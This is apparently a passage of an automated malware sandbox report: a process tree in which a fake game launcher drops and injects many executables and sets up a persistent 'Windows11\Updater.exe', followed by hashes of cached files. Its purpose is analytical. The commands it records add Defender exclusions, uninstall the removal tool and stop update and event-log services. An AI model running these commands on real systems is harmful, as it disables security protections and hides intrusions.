- Suspicious use of SetThreadContext
PID:3484

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:684

C:\update\qesjv25.exe
"C:\update\qesjv25.exe"
2⤵
- Executes dropped EXE
PID:1596

C:\update\5phhxnb.exe
"C:\update\5phhxnb.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:6008

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:2572

C:\update\ef5o4ps.exe
"C:\update\ef5o4ps.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:2900

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:3332

C:\update\nud2gjl.exe
"C:\update\nud2gjl.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:3584

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
PID:3244

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:5196

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:5040

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
- Launches sc.exe
PID:4980

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2288

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
- Launches sc.exe
PID:8

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:5584

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
- Launches sc.exe
PID:5872

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:5900

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
- Launches sc.exe
PID:1196

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:2984

C:\update\ju2qpr1.exe
"C:\update\ju2qpr1.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:3508

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:5716

C:\update\1ihw4fp.exe
"C:\update\1ihw4fp.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:5664

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:5852

C:\update\nhyabyp.exe
"C:\update\nhyabyp.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:5788

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:956

C:\update\yxk2d5z.exe
"C:\update\yxk2d5z.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1604

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:4304

C:\update\pb43lxi.exe
"C:\update\pb43lxi.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:4504

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:5080

C:\update\hvgi5pn.exe
"C:\update\hvgi5pn.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:4576

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:5396

C:\update\ekqkj2f.exe
"C:\update\ekqkj2f.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:5212

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:192

C:\update\dk5sy0e.exe
"C:\update\dk5sy0e.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:2724

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:2228

C:\update\bxehjbz.exe
"C:\update\bxehjbz.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4772

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
PID:3712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:1876

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:6252

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
- Launches sc.exe
PID:5232

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:6268

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
- Launches sc.exe
PID:6300

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:6416

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
PID:6464

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
PID:6596

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
PID:6604

C:\update\p5od4ac.exe
"C:\update\p5od4ac.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:4512

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:1600

C:\update\yxmnzwu.exe
"C:\update\yxmnzwu.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:4948

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:1692

C:\update\c10px1p.exe
"C:\update\c10px1p.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:2768

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:5408

C:\update\cc344ty.exe
"C:\update\cc344ty.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:3820

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:684

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:3384

C:\update\bjabcuk.exe
"C:\update\bjabcuk.exe"
2⤵
- Executes dropped EXE
PID:4752

C:\update\tfbhr23.exe
"C:\update\tfbhr23.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:6108

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:2600

C:\update\m3kw4wd.exe
"C:\update\m3kw4wd.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1908

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:6112

C:\update\ant3fdc.exe
"C:\update\ant3fdc.exe"
2⤵
- Executes dropped EXE
PID:6204

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5584

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5816

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:2876

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:4308

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:2360

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:364

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
PID:396

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:3048

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
PID:4212

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:2924

C:\Windows\system32\svchost.exe
svchost.exe
2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2992

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3536

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:5644

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:4624

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:5488

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
PID:4116

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
PID:5748

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:5244

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
PID:5048

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:3092

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4332

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:5660

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:5336

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:3836

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:3732

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
PID:6128

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:800

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
PID:5796

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:584

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:436

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:516

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:1376

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:5516

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:5720

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
PID:1052

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
PID:700

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1628

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1308

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:992

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:2480

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:4144

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:5860

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:2652

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
PID:6012

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
PID:4304

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1388

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2920

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:5416

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:2984

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
PID:1472

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
PID:5264

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:1612

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:4964

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
PID:4452

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:2740

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:2228

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:356

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:5196

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
PID:5536

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1372

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
PID:4164

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
PID:5748

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
PID:4952

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
PID:4108

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1176

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:932

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4564

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:1900

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:5676

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:208

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
PID:5016

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
PID:692

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:5704

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:5092

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
PID:4396

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:5200

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:6744

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6756

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:6284

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:6320

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:1876

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:3332

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
PID:6308

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:4300

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
PID:6416

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
PID:6524

C:\Users\Admin\Downloads\New folder\Launcherkasdk\Launcher\Laucnherfkaskdk.exe
"C:\Users\Admin\Downloads\New folder\Launcherkasdk\Launcher\Laucnherfkaskdk.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6788

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mcba22qn\mcba22qn.cmdline"
2⤵
PID:7116

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD76D.tmp" "c:\Users\Admin\AppData\Local\Temp\mcba22qn\CSC637821057B5D41DDA1223E177732D743.TMP"
3⤵
PID:7148

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:6184

C:\update\10phjsq.exe
"C:\update\10phjsq.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4456

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
PID:4936

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:2664

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:3372

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
PID:6444

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
PID:6248

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
- Launches sc.exe
PID:6536

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:5248

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
PID:3304

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:4548

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
- Launches sc.exe
PID:640

C:\update\gourhtd.exe
"C:\update\gourhtd.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:6284

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:5968

C:\ProgramData\Windows11\Updater.exe
C:\ProgramData\Windows11\Updater.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4908

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6160

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:6344

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:2848

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:5232

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:4304

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
PID:4544

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:4148

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
PID:2008

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{448AEE3B-DC65-4AF6-BF5F-DCE86D62B6C7}
1⤵
PID:5212

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize
4KB

MD5
1bfe591a4fe3d91b03cdf26eaacd8f89

SHA1
719c37c320f518ac168c86723724891950911cea

SHA256
9cf94355051bf0f4a45724ca20d1cc02f76371b963ab7d1e38bd8997737b13d8

SHA512
02f88da4b610678c31664609bcfa9d61db8d0b0617649981af948f670f41a6207b4ec19fecce7385a24e0c609cbbf3f2b79a8acaf09a03c2c432cc4dce75e9db

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fd0f4ra.exe.log
Filesize
226B

MD5
957779c42144282d8cd83192b8fbc7cf

SHA1
de83d08d2cca06b9ff3d1ef239d6b60b705d25fe

SHA256
0d7ca7ba65e2b465e4878e324ceab8f8981f5ec06dcf5bc32559a4467a9c7d51

SHA512
f1549c61b4f2906d13b2aabb74772c2bc826cd42373d7bb6c48cbb125d5aa2ec17617e6b5e67e8aae3bb5790cc831cdba48a45008ed01df4fba8be448cce39fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\VSH5XF98\edgecompatviewlist[1].xml
Filesize
74KB

MD5
d4fc49dc14f63895d997fa4940f24378

SHA1
3efb1437a7c5e46034147cbbc8db017c69d02c31

SHA256
853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

SHA512
cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\cache2\doomed\11283
Filesize
12KB

MD5
584c2821a1c2614459f872deabcff2d3

SHA1
e230ba56bcb64ce2a408f26cb6397f21f1a851ad

SHA256
3c75c3cd86daa9f3627d806aba97628705cde5d9ec76e4af23257d0f2a79504a

SHA512
79749bb6080588ac6cb5a95697376138d1e0c9ed8dc067679395572edc7ccae9fab110ea48705a31af7f3e32fc5a8b9a4354977d49755061abf98a7d059df8b3

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\cache2\doomed\15694
Filesize
12KB

MD5
1940aaf4d7a4f4c2d68c9dd49a67562b

SHA1
b5028665582b2b2733a523db322e6730014d9492

SHA256
6f198773ad94d762058a25068d0ef71547b9bb96303d8cf52175c91cb58c7fda

SHA512
9cdda143284e613581f06189292db6d03a2054e402f376d8b87fa2b10abc1c4c0338994c56dc3e49441eaf3b34c590ee9c14240d1b4ef2d01ef15a6bfcb9cefd

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\cache2\doomed\743
Filesize
12KB

MD5
950b879bd48d9de0832d06f38ab6db0a

SHA1
06c5da915c4d3aac3c5f47984dbe88ac70a6b094

SHA256
3a7d832098c807b1818b651d428ddb25b926a0237a89882046d5340458822ebe

SHA512
2c2339a30a42a09e93cf7053ae9afa3e26e332c6888b8bbc775a81e451b15fcff4f1b69a10f8627d6069a9066c2130a78eb7d5c23000063d229137af7c9f5db4

Download Submit
